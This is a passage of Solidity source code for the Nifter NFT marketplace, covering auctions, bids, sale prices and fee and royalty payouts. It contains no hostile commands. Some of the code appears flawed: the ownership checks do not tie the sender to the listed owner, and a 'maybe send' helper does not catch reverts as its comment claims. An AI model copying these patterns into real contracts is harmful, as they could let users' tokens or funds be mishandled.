returns (uint8);
/**
* @dev Utility function for calculating the primary sale fee for given amount of wei
* @param _amount uint256 wei amount.
* @return uint256 wei fee.
*/
function calculatePrimarySaleFee(uint256 _amount)
external
view
returns (uint256);
/**
* @dev Check whether the ERC1155 token has sold at least once.
* @param _tokenId uint256 token ID.
* @return bool of whether the token has sold.
*/
function hasTokenSold(uint256 _tokenId)
external
view
returns (bool);
/**
* @dev Mark a token as sold.
* Requirements:
*
* - `_contractAddress` cannot be the zero address.
* @param _tokenId uint256 token ID.
* @param _hasSold bool of whether the token should be marked sold or not.
*/
function markERC1155Token(
uint256 _tokenId,
bool _hasSold
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface for interacting with the Nifter contract that holds Nifter beta tokens.
*/
interface INifter {
/**
* @dev Gets the creator of the token
* @param _tokenId uint256 ID of the token
* @return address of the creator
*/
function creatorOfToken(uint256 _tokenId)
external
view
returns (address payable);
/**
* @dev Gets the Service Fee
* @param _tokenId uint256 ID of the token
* @return address of the creator
*/
function getServiceFee(uint256 _tokenId)
external
view
returns (uint8);
/**
* @dev Gets the price type
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
* @return get the price type
*/
function getPriceType(uint256 _tokenId, address _owner)
external
view
returns (uint8);
/**
* @dev update price only from auction.
* @param _price price of the token
* @param _tokenId uint256 id of the token.
* @param _owner address of the token owner
*/
function setPrice(uint256 _price, uint256 _tokenId, address _owner) external;
/**
* @dev update bids only from auction.
* @param _bid bid Amount
* @param _bidder bidder address
* @param _tokenId uint256 id of the token.
* @param _owner address of the token owner
*/
function setBid(uint256 _bid, address _bidder, uint256 _tokenId, address _owner) external;
/**
* @dev remove token from sale
* @param _tokenId uint256 id of the token.
* @param _owner owner of the token
*/
function removeFromSale(uint256 _tokenId, address _owner) external;
/**
* @dev get tokenIds length
*/
function getTokenIdsLength() external view returns (uint256);
/**
* @dev get token Id
* @param _index uint256 index
*/
function getTokenId(uint256 _index) external view returns (uint256);
/**
* @dev Gets the owners
* @param _tokenId uint256 ID of the token
*/
function getOwners(uint256 _tokenId)
external
view
returns (address[] memory owners);
/**
* @dev Gets the is for sale
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function getIsForSale(uint256 _tokenId, address _owner) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface INifterMarketAuction {
/**
* @dev Set the token for sale. The owner of the token must be the sender and have the marketplace approved.
* @param _tokenId uint256 ID of the token
* @param _amount uint256 wei value that the item is for sale
*/
function setSalePrice(
uint256 _tokenId,
uint256 _amount,
address _owner
) external;
/**
* @dev set
* @param _bidAmount uint256 value in wei to bid.
* @param _startTime end time of bid
* @param _endTime end time of bid
* @param _owner address of the token owner
* @param _tokenId uint256 ID of the token
*/
function setInitialBidPriceWithRange(
uint256 _bidAmount,
uint256 _startTime,
uint256 _endTime,
address _owner,
uint256 _tokenId
) external;
/**
* @dev has active bid
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function hasTokenActiveBid(uint256 _tokenId, address _owner) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IERC1155TokenCreator.sol";
/**
* @title IERC1155CreatorRoyalty Token level royalty interface.
*/
interface INifterRoyaltyRegistry is IERC1155TokenCreator {
/**
* @dev Get the royalty fee percentage for a specific ERC1155 contract.
* @param _tokenId uint256 token ID.
* @return uint8 wei royalty fee.
*/
function getTokenRoyaltyPercentage(
uint256 _tokenId
) external view returns (uint8);
/**
* @dev Utililty function to calculate the royalty fee for a token.
* @param _tokenId uint256 token ID.
* @param _amount uint256 wei amount.
* @return uint256 wei fee.
*/
function calculateRoyaltyFee(
uint256 _tokenId,
uint256 _amount
) external view returns (uint256);
/**
* @dev Sets the royalty percentage set for an Nifter token
* Requirements:
* - `_percentage` must be <= 100.
* - only the owner of this contract or the creator can call this method.
* @param _tokenId uint256 token ID.
* @param _percentage uint8 wei royalty fee.
*/
function setPercentageForTokenRoyalty(
uint256 _tokenId,
uint8 _percentage
) external returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface ISendValueProxy {
function sendValue(address payable _to) external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./SendValueProxy.sol";
/**
* @dev Contract with a ISendValueProxy that will catch reverts when attempting to transfer funds.
*/
contract MaybeSendValue {
SendValueProxy proxy;
constructor() internal {
proxy = new SendValueProxy();
}
/**
* @dev Maybe send some wei to the address via a proxy. Returns true on success and false if transfer fails.
* @param _to address to send some value to.
* @param _value uint256 amount to send.
*/
function maybeSendValue(address payable _to, uint256 _value)
internal
returns (bool)
{
_to.transfer(_value);
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./INifterMarketAuction.sol";
import "./INifterRoyaltyRegistry.sol";
import "./IMarketplaceSettings.sol";
import "./Payments.sol";
import "./INifter.sol";
contract NifterMarketAuction is INifterMarketAuction, Ownable, Payments {
using SafeMath for uint256;
/////////////////////////////////////////////////////////////////////////
// Structs
/////////////////////////////////////////////////////////////////////////
// The active bid for a given token, contains the bidder, the marketplace fee at the time of the bid, and the amount of wei placed on the token
struct ActiveBid {
address payable bidder;
uint8 marketplaceFee;
uint256 amount;
}
struct ActiveBidRange {
uint256 startTime;
uint256 endTime;
}
// The sale price for a given token containing the seller and the amount of wei to be sold for
struct SalePrice {
address payable seller;
uint256 amount;
}
/////////////////////////////////////////////////////////////////////////
// State Variables
/////////////////////////////////////////////////////////////////////////
// Marketplace Settings Interface
IMarketplaceSettings public iMarketplaceSettings;
// Creator Royalty Interface
INifterRoyaltyRegistry public iERC1155CreatorRoyalty;
// Nifter contract
INifter public nifter;
//erc1155 contract
IERC1155 public erc1155;
// Mapping from ERC1155 contract to mapping of tokenId to sale price.
mapping(uint256 => mapping(address => SalePrice)) private salePrice;
// Mapping of ERC1155 contract to mapping of token ID to the current bid amount.
mapping(uint256 => mapping(address => ActiveBid)) private activeBid;
mapping(uint256 => mapping(address => ActiveBidRange)) private activeBidRange;
mapping(address => uint256) public bidBalance;
// A minimum increase in bid amount when out bidding someone.
uint8 public minimumBidIncreasePercentage; // 10 = 10%
/////////////////////////////////////////////////////////////////////////////
// Events
/////////////////////////////////////////////////////////////////////////////
event Sold(
address indexed _buyer,
address indexed _seller,
uint256 _amount,
uint256 _tokenId
);
event SetSalePrice(
uint256 _amount,
uint256 _tokenId
);
event Bid(
address indexed _bidder,
uint256 _amount,
uint256 _tokenId
);
event SetInitialBidPriceWithRange(
uint256 _bidAmount,
uint256 _startTime,
uint256 _endTime,
address _owner,
uint256 _tokenId
);
event AcceptBid(
address indexed _bidder,
address indexed _seller,
uint256 _amount,
uint256 _tokenId
);
event CancelBid(
address indexed _bidder,
uint256 _amount,
uint256 _tokenId
);
/////////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////////
/**
* @dev Initializes the contract setting the market settings and creator royalty interfaces.
* @param _iMarketSettings address to set as iMarketplaceSettings.
* @param _iERC1155CreatorRoyalty address to set as iERC1155CreatorRoyalty.
* @param _nifter address of the nifter contract
*/
constructor(address _iMarketSettings, address _iERC1155CreatorRoyalty, address _nifter)
public
{
require(
_iMarketSettings != address(0),
"constructor::Cannot have null address for _iMarketSettings"
);
require(
_iERC1155CreatorRoyalty != address(0),
"constructor::Cannot have null address for _iERC1155CreatorRoyalty"
);
require(
_nifter != address(0),
"constructor::Cannot have null address for _nifter"
);
// Set iMarketSettings
iMarketplaceSettings = IMarketplaceSettings(_iMarketSettings);
// Set iERC1155CreatorRoyalty
iERC1155CreatorRoyalty = INifterRoyaltyRegistry(_iERC1155CreatorRoyalty);
nifter = INifter(_nifter);
erc1155 = IERC1155(_nifter);
minimumBidIncreasePercentage = 10;
}
/////////////////////////////////////////////////////////////////////////
// Get owner of the token
/////////////////////////////////////////////////////////////////////////
/**
* @dev get owner of the token
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function isOwnerOfTheToken(uint256 _tokenId, address _owner) public view returns (bool) {
uint256 balance = erc1155.balanceOf(_owner, _tokenId);
return balance > 0;
}
/////////////////////////////////////////////////////////////////////////
// Get token sale price against token id
/////////////////////////////////////////////////////////////////////////
/**
* @dev get the token sale price against token id
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function getSalePrice(uint256 _tokenId, address _owner) external view returns (address payable, uint256){
SalePrice memory sp = salePrice[_tokenId][_owner];
return (sp.seller, sp.amount);
}
/////////////////////////////////////////////////////////////////////////
// get active bid against tokenId
/////////////////////////////////////////////////////////////////////////
/**
* @dev get active bid against token Id
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function getActiveBid(uint256 _tokenId, address _owner) external view returns (address payable, uint8, uint256){
ActiveBid memory ab = activeBid[_tokenId][_owner];
return (ab.bidder, ab.marketplaceFee, ab.amount);
}
/////////////////////////////////////////////////////////////////////////
// has active bid
/////////////////////////////////////////////////////////////////////////
/**
* @dev has active bid
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function hasTokenActiveBid(uint256 _tokenId, address _owner) external view override returns (bool){
ActiveBid memory ab = activeBid[_tokenId][_owner];
if (ab.bidder == _owner || ab.bidder == address(0))
return false;
return true;
}
/////////////////////////////////////////////////////////////////////////
// get bid balance of user
/////////////////////////////////////////////////////////////////////////
/**
* @dev get bid balance of user
* @param _user address of the user
*/
function getBidBalance(address _user) external view returns (uint256){
return bidBalance[_user];
}
/////////////////////////////////////////////////////////////////////////
// get active bid range against token id
/////////////////////////////////////////////////////////////////////////
/**
* @dev get active bid range against token id
* @param _tokenId uint256 ID of the token
*/
function getActiveBidRange(uint256 _tokenId, address _owner) external view returns (uint256, uint256){
ActiveBidRange memory abr = activeBidRange[_tokenId][_owner];
return (abr.startTime, abr.endTime);
}
/////////////////////////////////////////////////////////////////////////
// withdrawMarketFunds
/////////////////////////////////////////////////////////////////////////
/**
* @dev Admin function to withdraw market funds
* Rules:
* - only owner
*/
function withdrawMarketFunds() external onlyOwner {
uint256 balance = address(this).balance;
_makePayable(owner()).transfer(balance);
}
/////////////////////////////////////////////////////////////////////////
// setIMarketplaceSettings
/////////////////////////////////////////////////////////////////////////
/**
* @dev Admin function to set the marketplace settings.
* Rules:
* - only owner
* - _address != address(0)
* @param _address address of the IMarketplaceSettings.
*/
function setMarketplaceSettings(address _address) public onlyOwner {
require(
_address != address(0),
"setMarketplaceSettings::Cannot have null address for _iMarketSettings"
);
iMarketplaceSettings = IMarketplaceSettings(_address);
}
/////////////////////////////////////////////////////////////////////////
// seNifter
/////////////////////////////////////////////////////////////////////////
/**
* @dev Admin function to set the marketplace settings.
* Rules:
* - only owner
* - _address != address(0)
* @param _address address of the IMarketplaceSettings.
*/
function setNifter(address _address) public onlyOwner {
require(
_address != address(0),
"setNifter::Cannot have null address for _INifter"
);
nifter = INifter(_address);
erc1155 = IERC1155(_address);
}
/////////////////////////////////////////////////////////////////////////
// setIERC1155CreatorRoyalty
/////////////////////////////////////////////////////////////////////////
/**
* @dev Admin function to set the IERC1155CreatorRoyalty.
* Rules:
* - only owner
* - _address != address(0)
* @param _address address of the IERC1155CreatorRoyalty.
*/
function setIERC1155CreatorRoyalty(address _address) public onlyOwner {
require(
_address != address(0),
"setIERC1155CreatorRoyalty::Cannot have null address for _iERC1155CreatorRoyalty"
);
iERC1155CreatorRoyalty = INifterRoyaltyRegistry(_address);
}
/////////////////////////////////////////////////////////////////////////
// setMinimumBidIncreasePercentage
/////////////////////////////////////////////////////////////////////////
/**
* @dev Admin function to set the minimum bid increase percentage.
* Rules:
* - only owner
* @param _percentage uint8 to set as the new percentage.
*/
function setMinimumBidIncreasePercentage(uint8 _percentage)
public
onlyOwner
{
minimumBidIncreasePercentage = _percentage;
}
/////////////////////////////////////////////////////////////////////////
// Modifiers (as functions)
/////////////////////////////////////////////////////////////////////////
/**
* @dev Checks that the token owner is approved for the ERC1155Market
* @param _owner address of the token owner
*/
function ownerMustHaveMarketplaceApproved(
address _owner
) internal view {
require(
erc1155.isApprovedForAll(_owner, address(this)),
"owner must have approved contract"
);
}
/**
* @dev Checks that the token is owned by the sender
* @param _tokenId uint256 ID of the token
*/
function senderMustBeTokenOwner(uint256 _tokenId)
internal
view
{
bool isOwner = isOwnerOfTheToken(_tokenId, msg.sender);
require(isOwner || msg.sender == address(nifter), 'sender must be the token owner');
}
/////////////////////////////////////////////////////////////////////////
// setSalePrice
/////////////////////////////////////////////////////////////////////////
/**
* @dev Set the token for sale. The owner of the token must be the sender and have the marketplace approved.
* @param _tokenId uint256 ID of the token
* @param _amount uint256 wei value that the item is for sale
* @param _owner address of the token owner
*/
function setSalePrice(
uint256 _tokenId,
uint256 _amount,
address _owner
) external override {
// The owner of the token must have the marketplace approved
ownerMustHaveMarketplaceApproved(_owner);
// The sender must be the token owner
senderMustBeTokenOwner(_tokenId);
if (_amount == 0) {
// Set not for sale and exit
_resetTokenPrice(_tokenId, _owner);
emit SetSalePrice(_amount, _tokenId);
return;
}
salePrice[_tokenId][_owner] = SalePrice(payable(_owner), _amount);
nifter.setPrice(_amount, _tokenId, _owner);
// nifter.putOnSale(0, _tokenId, _owner);
// nifter.setPriceType(0, _tokenId);
// nifter.setIsForSale(true, _tokenId, _owner);
emit SetSalePrice(_amount, _tokenId);
}
/**
* @dev restore data from old contract, only call by owner
* @param _oldAddress address of old contract.
* @param _oldNifterAddress get the token ids from the old nifter contract.
* @param _startIndex start index of array
* @param _endIndex end index of array
*/
function restore(address _oldAddress, address _oldNifterAddress, uint256 _startIndex, uint256 _endIndex) external onlyOwner {
NifterMarketAuction oldContract = NifterMarketAuction(_oldAddress);
INifter oldNifterContract = INifter(_oldNifterAddress);
uint256 length = oldNifterContract.getTokenIdsLength();
require(_startIndex < length, "wrong start index");
require(_endIndex <= length, "wrong end index");
for (uint i = _startIndex; i < _endIndex; i++) {
uint256 tokenId = oldNifterContract.getTokenId(i);
address[] memory owners = oldNifterContract.getOwners(tokenId);
for (uint j = 0; j < owners.length; j++) {
address owner = owners[j];
(address payable sender, uint256 amount) = oldContract.getSalePrice(tokenId, owner);
salePrice[tokenId][owner] = SalePrice(sender, amount);
(address payable bidder, uint8 marketplaceFee, uint256 bidAmount) = oldContract.getActiveBid(tokenId, owner);
activeBid[tokenId][owner] = ActiveBid(bidder, marketplaceFee, bidAmount);
uint256 serviceFee = bidAmount.mul(marketplaceFee).div(100);
bidBalance[bidder] = bidBalance[bidder].add(bidAmount.add(serviceFee));
(uint256 startTime, uint256 endTime) = oldContract.getActiveBidRange(tokenId, owner);
activeBidRange[tokenId][owner] = ActiveBidRange(startTime, endTime);
}
}
setMinimumBidIncreasePercentage(oldContract.minimumBidIncreasePercentage());
}
/////////////////////////////////////////////////////////////////////////
// safeBuy
/////////////////////////////////////////////////////////////////////////
/**
* @dev Purchase the token with the expected amount. The current token owner must have the marketplace approved.
* @param _tokenId uint256 ID of the token
* @param _amount uint256 wei amount expecting to purchase the token for.
* @param _owner address of the token owner
*/
function safeBuy(
uint256 _tokenId,
uint256 _amount,
address _owner
) external payable {
// Make sure the tokenPrice is the expected amount
require(
salePrice[_tokenId][_owner].amount == _amount,
"safeBuy::Purchase amount must equal expected amount"
);
buy(_tokenId, _owner);
}
/////////////////////////////////////////////////////////////////////////
// buy
/////////////////////////////////////////////////////////////////////////
/**
* @dev Purchases the token if it is for sale.
* @param _tokenId uint256 ID of the token.
* @param _owner address of the token owner
*/
function buy(uint256 _tokenId, address _owner) public payable {
require(nifter.getIsForSale(_tokenId, _owner) == true, "bid::not for sale");
// The owner of the token must have the marketplace approved
ownerMustHaveMarketplaceApproved(_owner);
// Check that the person who set the price still owns the token.
require(
_priceSetterStillOwnsTheToken(_tokenId, _owner),
"buy::Current token owner must be the person to have the latest price."
);
uint8 priceType = nifter.getPriceType(_tokenId, _owner);
require(priceType == 0, "buy is only allowed for fixed sale");
SalePrice memory sp = salePrice[_tokenId][_owner];
// Check that token is for sale.
require(sp.amount > 0, "buy::Tokens priced at 0 are not for sale.");
// Check that enough ether was sent.
require(
tokenPriceFeeIncluded(_tokenId, _owner) == msg.value,
"buy::Must purchase the token for the correct price"
);
// Wipe the token price.
_resetTokenPrice(_tokenId, _owner);
// Transfer token.
erc1155.safeTransferFrom(_owner, msg.sender, _tokenId, 1, '');
// if the buyer had an existing bid, return it
if (_addressHasBidOnToken(msg.sender, _tokenId, _owner)) {
_refundBid(_tokenId, _owner);
}
// Payout all parties.
address payable marketOwner = _makePayable(owner());
Payments.payout(
sp.amount,
!iMarketplaceSettings.hasTokenSold(_tokenId),
nifter.getServiceFee(_tokenId),
iERC1155CreatorRoyalty.getTokenRoyaltyPercentage(
_tokenId
),
iMarketplaceSettings.getERC1155ContractPrimarySaleFeePercentage(),
_makePayable(_owner),
marketOwner,
iERC1155CreatorRoyalty.tokenCreator(_tokenId),
marketOwner
);
// Set token as sold
iMarketplaceSettings.markERC1155Token(_tokenId, true);
//remove from sale after buy
nifter.removeFromSale(_tokenId, _owner);
emit Sold(msg.sender, _owner, sp.amount, _tokenId);
}
/////////////////////////////////////////////////////////////////////////
// tokenPrice
/////////////////////////////////////////////////////////////////////////
/**
* @dev Gets the sale price of the token
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
* @return uint256 sale price of the token
*/
function tokenPrice(uint256 _tokenId, address _owner)
external
view
returns (uint256)
{
// The owner of the token must have the marketplace approved
ownerMustHaveMarketplaceApproved(_owner);
// TODO: Make sure to write test to verify that this returns 0 when it fails
if (_priceSetterStillOwnsTheToken(_tokenId, _owner)) {
return salePrice[_tokenId][_owner].amount;
}
return 0;
}
/////////////////////////////////////////////////////////////////////////
// tokenPriceFeeIncluded
/////////////////////////////////////////////////////////////////////////
/**
* @dev Gets the sale price of the token including the marketplace fee.
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
* @return uint256 sale price of the token including the fee.
*/
function tokenPriceFeeIncluded(uint256 _tokenId, address _owner)
public
view
returns (uint256)
{
// The owner of the token must have the marketplace approved
ownerMustHaveMarketplaceApproved(_owner);
// TODO: Make sure to write test to verify that this returns 0 when it fails
if (_priceSetterStillOwnsTheToken(_tokenId, _owner)) {
return
salePrice[_tokenId][_owner].amount.add(
salePrice[_tokenId][_owner].amount.mul(
nifter.getServiceFee(_tokenId)
).div(100)
);
}
return 0;
}
/////////////////////////////////////////////////////////////////////////
// setInitialBidPriceWithRange
/////////////////////////////////////////////////////////////////////////
/**
* @dev set
* @param _bidAmount uint256 value in wei to bid.
* @param _startTime end time of bid
* @param _endTime end time of bid
* @param _owner address of the token owner
* @param _tokenId uint256 ID of the token
*/
function setInitialBidPriceWithRange(uint256 _bidAmount, uint256 _startTime, uint256 _endTime, address _owner, uint256 _tokenId) external override {
require(_bidAmount > 0, "setInitialBidPriceWithRange::Cannot bid 0 Wei.");
senderMustBeTokenOwner(_tokenId);
activeBid[_tokenId][_owner] = ActiveBid(
payable(_owner),
nifter.getServiceFee(_tokenId),
_bidAmount
);
_setBidRange(_startTime, _endTime, _tokenId, _owner);
emit SetInitialBidPriceWithRange(_bidAmount, _startTime, _endTime, _owner, _tokenId);
}
/////////////////////////////////////////////////////////////////////////
// bid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Bids on the token, replacing the bid if the bid is higher than the current bid. You cannot bid on a token you already own.
* @param _newBidAmount uint256 value in wei to bid.
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function bid(
uint256 _newBidAmount,
uint256 _tokenId,
address _owner
) external payable {
// Check that bid is greater than 0.
require(_newBidAmount > 0, "bid::Cannot bid 0 Wei.");
require(nifter.getIsForSale(_tokenId, _owner) == true, "bid::not for sale");
// Check that bid is higher than previous bid
uint256 currentBidAmount =
activeBid[_tokenId][_owner].amount;
require(
_newBidAmount > currentBidAmount &&
_newBidAmount >=
currentBidAmount.add(
currentBidAmount.mul(minimumBidIncreasePercentage).div(100)
),
"bid::Must place higher bid than existing bid + minimum percentage."
);
// Check that enough ether was sent.
uint256 requiredCost =
_newBidAmount.add(
_newBidAmount.mul(
nifter.getServiceFee(_tokenId)
).div(100)
);
require(
requiredCost <= msg.value,
"bid::Must purchase the token for the correct price."
);
//Check bid range
ActiveBidRange memory range = activeBidRange[_tokenId][_owner];
uint8 priceType = nifter.getPriceType(_tokenId, _owner);
require(priceType == 1 || priceType == 2, "bid is not valid for fixed sale");
if (priceType == 1)
require(range.startTime < block.timestamp && range.endTime > block.timestamp, "bid::can't place bid'");
// Check that bidder is not owner.
require(_owner != msg.sender, "bid::Bidder cannot be owner.");
// Refund previous bidder.
_refundBid(_tokenId, _owner);
// Set the new bid.
_setBid(_newBidAmount, msg.sender, _tokenId, _owner);
nifter.setBid(_newBidAmount, msg.sender, _tokenId, _owner);
emit Bid(msg.sender, _newBidAmount, _tokenId);
}
/////////////////////////////////////////////////////////////////////////
// safeAcceptBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Accept the bid on the token with the expected bid amount.
* @param _tokenId uint256 ID of the token
* @param _amount uint256 wei amount of the bid
* @param _owner address of the token owner
*/
function safeAcceptBid(
uint256 _tokenId,
uint256 _amount,
address _owner
) external {
// Make sure accepting bid is the expected amount
require(
activeBid[_tokenId][_owner].amount == _amount,
"safeAcceptBid::Bid amount must equal expected amount"
);
acceptBid(_tokenId, _owner);
}
/////////////////////////////////////////////////////////////////////////
// acceptBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Accept the bid on the token.
* @param _tokenId uint256 ID of the token
* @param _owner address of the token owner
*/
function acceptBid(uint256 _tokenId, address _owner) public {
// The sender must be the token owner
senderMustBeTokenOwner(_tokenId);
// The owner of the token must have the marketplace approved
ownerMustHaveMarketplaceApproved(_owner);
// Check that a bid exists.
require(
_tokenHasBid(_tokenId, _owner),
"acceptBid::Cannot accept a bid when there is none."
);
// Get current bid on token
ActiveBid memory currentBid =
activeBid[_tokenId][_owner];
// Wipe the token price and bid.
_resetTokenPrice(_tokenId, _owner);
_resetBid(_tokenId, _owner);
// Transfer token.
erc1155.safeTransferFrom(msg.sender, currentBid.bidder, _tokenId, 1, '');
// Payout all parties.
address payable marketOwner = _makePayable(owner());
Payments.payout(
currentBid.amount,
!iMarketplaceSettings.hasTokenSold(_tokenId),
nifter.getServiceFee(_tokenId),
iERC1155CreatorRoyalty.getTokenRoyaltyPercentage(
_tokenId
),
iMarketplaceSettings.getERC1155ContractPrimarySaleFeePercentage(),
msg.sender,
marketOwner,
iERC1155CreatorRoyalty.tokenCreator(_tokenId),
marketOwner
);
iMarketplaceSettings.markERC1155Token(_tokenId, true);
uint256 serviceFee = currentBid.amount.mul(currentBid.marketplaceFee).div(100);
bidBalance[currentBid.bidder] = bidBalance[currentBid.bidder].sub(currentBid.amount.add(serviceFee));
//remove from sale after accepting the bid
nifter.removeFromSale(_tokenId, _owner);
emit AcceptBid(
currentBid.bidder,
msg.sender,
currentBid.amount,
_tokenId
);
}
/////////////////////////////////////////////////////////////////////////
// cancelBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Cancel the bid on the token.
* @param _tokenId uint256 ID of the token.
* @param _owner address of the token owner
*/
function cancelBid(uint256 _tokenId, address _owner) external {
// Check that sender has a current bid.
require(
_addressHasBidOnToken(msg.sender, _tokenId, _owner),
"cancelBid::Cannot cancel a bid if sender hasn't made one."
);
// Refund the bidder.
_refundBid(_tokenId, _owner);
emit CancelBid(
msg.sender,
activeBid[_tokenId][_owner].amount,
_tokenId
);
}
/////////////////////////////////////////////////////////////////////////
// currentBidDetailsOfToken
/////////////////////////////////////////////////////////////////////////
/**
* @dev Function to get current bid and bidder of a token.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function currentBidDetailsOfToken(uint256 _tokenId, address _owner)
public
view
returns (uint256, address)
{
return (
activeBid[_tokenId][_owner].amount,
activeBid[_tokenId][_owner].bidder
);
}
/////////////////////////////////////////////////////////////////////////
// _priceSetterStillOwnsTheToken
/////////////////////////////////////////////////////////////////////////
/**
* @dev Checks that the token is owned by the same person who set the sale price.
* @param _tokenId uint256 id of the.
* @param _owner address of the token owner
*/
function _priceSetterStillOwnsTheToken(
uint256 _tokenId,
address _owner
) internal view returns (bool) {
return
_owner ==
salePrice[_tokenId][_owner].seller;
}
/////////////////////////////////////////////////////////////////////////
// _resetTokenPrice
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to set token price to 0 for a given contract.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _resetTokenPrice(uint256 _tokenId, address _owner)
internal
{
salePrice[_tokenId][_owner] = SalePrice(address(0), 0);
}
/////////////////////////////////////////////////////////////////////////
// _addressHasBidOnToken
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function see if the given address has an existing bid on a token.
* @param _bidder address that may have a current bid.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _addressHasBidOnToken(
address _bidder,
uint256 _tokenId,
address _owner)
internal view returns (bool) {
return activeBid[_tokenId][_owner].bidder == _bidder;
}
/////////////////////////////////////////////////////////////////////////
// _tokenHasBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function see if the token has an existing bid.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _tokenHasBid(
uint256 _tokenId,
address _owner)
internal
view
returns (bool)
{
return activeBid[_tokenId][_owner].bidder != address(0);
}
/////////////////////////////////////////////////////////////////////////
// _refundBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to return an existing bid on a token to the
* bidder and reset bid.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _refundBid(uint256 _tokenId, address _owner) internal {
ActiveBid memory currentBid =
activeBid[_tokenId][_owner];
if (currentBid.bidder == address(0)) {
return;
}
//current bidder should not be owner
if (bidBalance[currentBid.bidder] > 0 && currentBid.bidder != _owner)
{
Payments.refund(
currentBid.marketplaceFee,
currentBid.bidder,
currentBid.amount
);
//subtract bid balance
uint256 serviceFee = currentBid.amount.mul(currentBid.marketplaceFee).div(100);
bidBalance[currentBid.bidder] = bidBalance[currentBid.bidder].sub(currentBid.amount.add(serviceFee));
}
_resetBid(_tokenId, _owner);
}
/////////////////////////////////////////////////////////////////////////
// _resetBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to reset bid by setting bidder and bid to 0.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _resetBid(uint256 _tokenId, address _owner) internal {
activeBid[_tokenId][_owner] = ActiveBid(
address(0),
0,
0
);
}
/////////////////////////////////////////////////////////////////////////
// _setBid
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to set a bid.
* @param _amount uint256 value in wei to bid. Does not include marketplace fee.
* @param _bidder address of the bidder.
* @param _tokenId uin256 id of the token.
* @param _owner address of the token owner
*/
function _setBid(
uint256 _amount,
address payable _bidder,
uint256 _tokenId,
address _owner
) internal {
// Check bidder not 0 address.
require(_bidder != address(0), "Bidder cannot be 0 address.");
// Set bid.
activeBid[_tokenId][_owner] = ActiveBid(
_bidder,
nifter.getServiceFee(_tokenId),
_amount
);
//add bid balance
uint256 serviceFee = _amount.mul(nifter.getServiceFee(_tokenId)).div(100);
bidBalance[_bidder] = bidBalance[_bidder].add(_amount.add(serviceFee));
}
/////////////////////////////////////////////////////////////////////////
// _setBidRange
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to set a bid range.
* @param _startTime start time UTC.
* @param _endTime end Time range.
* @param _tokenId uin256 id of the token.
*/
function _setBidRange(
uint256 _startTime,
uint256 _endTime,
uint256 _tokenId,
address _owner
) internal {
activeBidRange[_tokenId][_owner] = ActiveBidRange(_startTime, _endTime);
}
/////////////////////////////////////////////////////////////////////////
// _makePayable
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to set a bid.
* @param _address non-payable address
* @return payable address
*/
function _makePayable(address _address)
internal
pure
returns (address payable)
{
return address(uint160(_address));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./SendValueOrEscrow.sol";
/**
* @title Payments contract for Nifter Marketplaces.
*/
contract Payments is SendValueOrEscrow {
using SafeMath for uint256;
using SafeMath for uint8;
/////////////////////////////////////////////////////////////////////////
// refund
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to refund an address. Typically for canceled bids or offers.
* Requirements:
*
* - _payee cannot be the zero address
*
* @param _marketplacePercentage uint8 percentage of the fee for the marketplace.
* @param _amount uint256 value to be split.
* @param _payee address seller of the token.
*/
function refund(
uint8 _marketplacePercentage,
address payable _payee,
uint256 _amount
) internal {
require(
_payee != address(0),
"refund::no payees can be the zero address"
);
if (_amount > 0) {
SendValueOrEscrow.sendValueOrEscrow(
_payee,
_amount.add(
calcPercentagePayment(_amount, _marketplacePercentage)
)
);
}
}
/////////////////////////////////////////////////////////////////////////
// payout
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to pay the seller, creator, and maintainer.
* Requirements:
*
* - _marketplacePercentage + _royaltyPercentage + _primarySalePercentage <= 100
* - no payees can be the zero address
*
* @param _amount uint256 value to be split.
* @param _isPrimarySale bool of whether this is a primary sale.
* @param _marketplacePercentage uint8 percentage of the fee for the marketplace.
* @param _royaltyPercentage uint8 percentage of the fee for the royalty.
* @param _primarySalePercentage uint8 percentage primary sale fee for the marketplace.
* @param _payee address seller of the token.
* @param _marketplacePayee address seller of the token.
* @param _royaltyPayee creater address .
